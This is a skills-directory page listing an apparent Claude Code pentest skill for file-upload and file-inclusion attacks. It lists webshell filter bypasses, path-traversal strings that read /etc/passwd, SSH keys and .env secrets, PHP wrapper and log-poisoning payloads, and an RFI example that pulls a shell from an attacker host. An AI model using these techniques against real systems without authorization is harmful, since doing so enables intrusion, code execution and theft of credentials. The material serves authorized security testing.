Skip to content
Back to skills

Web File Upload

BSecurity

File-upload abuse and path/file inclusion — webshell upload and filter bypass (extension, content-type, magic-byte, double-extension), path traversal, LFI/RFI, log and wrapper poisoning, archive/zip-slip, SVG/image parser attacks, and upload-driven XXE/XSS. Use for any upload feature or any parameter that references a file path.

  • 16 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added November 17, 2026
securityphpshellapi

Works with

  • api

Security analysis

B75/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill web-file-upload --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Web File Upload?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Web File Upload
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-web-file-upload/badge)](https://www.skillsdirectory.com/skills/anandjogawade-web-file-upload)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: web-file-upload
description: File-upload abuse and path/file inclusion — webshell upload and filter bypass (extension, content-type, magic-byte, double-extension), path traversal, LFI/RFI, log and wrapper poisoning, archive/zip-slip, SVG/image parser attacks, and upload-driven XXE/XSS. Use for any upload feature or any parameter that references a file path.
---

# File Upload, Path Traversal & File Inclusion

Two related sinks: (1) the app stores a file you control, (2) the app opens a file whose path you influence. Both can reach RCE or sensitive-file disclosure.

## Trigger phrases

`file upload, webshell, unrestricted upload, path traversal, directory traversal, lfi, rfi, local file inclusion, remote file inclusion, zip slip, file read, arbitrary file write`

## Part A — File upload

### 1. Profile the upload
What's checked (extension, `Content-Type`, magic bytes, size, image re-encoding), where files land (webroot? guessable path?), and whether the stored filename/path is returned. Upload a benign file first and locate it.

### 2. Get code execution — bypass the filter
Match the server language (PHP/ASPX/JSP/etc.). From `${CLAUDE_PLUGIN_ROOT}/payloads/file-upload.md`:
- **Extension tricks:** alternate execebable extensions (`.php5 .phtml .pht .phar` / `.asp .aspx .cshtml .ashx` / `.jsp .jspx`), case (`.pHp`), double extension (`shell.php.jpg`, `shell.jpg.php`), trailing chars (`shell.php%00.jpg` null byte on old stacks, `shell.php;.jpg`, `shell.php/`, `shell.php.` , spaces, `::$DATA` on IIS).
- **Content-Type spoof:** set `Content-Type: image/png` while body is code.
- **Magic-byte prefix:** prepend `GIF89a;` or valid PNG/JPEG header before `<?php ... ?>` to pass image checks; polyglot files (valid image + code).
- **Config-based RCE:** upload `.htaccess` (make a benign extension run as PHP) or `web.config` (ASP) to turn any upload into code.
- **Archive handling:** if server extracts zips → **zip-slip** (`../../` paths inside the archive to write outside the target dir), symlink-in-zip to read files.
- **Image/doc parsers:** SVG with script (stored XSS) or XXE (→ `web-xxe`); EXIF-embedded payloads reflected later; ImageMagick (ImageTragick) and Ghostscript RCE on vulnerable versions (→ `vulnerable-components`).

### 3. Reach & trigger the file
Finding the stored path matters as much as uploading. Brute the upload dir, read it from the response/API, or combine with path traversal/LFI to include it. Then request the webshell to confirm RCE.

### 4. Other upload impacts
Overwrite critical files (same name), DoS via huge/zip-bomb (RoE permitting), SSRF via "upload from URL", stored XSS via filename or SVG, and content-type confusion.

## Part B — Path traversal & file inclusion

### 1. Path traversal (arbitrary read/write)
Parameters taking filenames/paths (`?file=`, `?page=`, `?download=`, `?template=`, `?lang=`):
- `../../../../etc/passwd`, Windows `..\..\..\windows\win.ini`.
- **Bypass:** URL-encode (`%2e%2e%2f`), double-encode (`%252e`), overlong UTF-8, `....//` (filter strips one `../`), absolute paths, null byte (legacy), nested, and prefix/suffix tricks when the app appends an extension (`....//etc/passwd%00`, or path that satisfies a required base dir).

### 2. LFI → RCE
- Read source/config/secrets (`/etc/passwd`, app config, `.env`, `web.config`, SSH keys, `/proc/self/environ`).
- **PHP wrappers:** `php://filter/convert.base64-encode/resource=index.php` (source disclosure), `php://input` + POST code, `data://text/plain;base64,...`, `expect://`, `zip://`/`phar://` (phar → deserialization, → `web-deserialization`).
- **Log poisoning:** inject PHP into a log (User-Agent, auth log, access log) then LFI the log → RCE. Same idea with `/proc/self/environ`, mail, session files (`sess_<id>`).

### 3. RFI
If remote URLs are includable (`allow_url_include`), `?page=http://attacker/shell.txt` → RCE. Rare on modern configs but always test; also SMB/UNC on Windows.

## Depth & chaining
- Upload bypass + path discovery + traversal is often a three-step chain to RCE — pursue all three.
- LFI → log/session poisoning → RCE; LFI of secrets → wider access.

## Evidence
Show the stored/executed shell (command output) or the leaked file contents, plus the exact bypass. See `${CLAUDE_PLUGIN_ROOT}/payloads/file-upload.md`.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.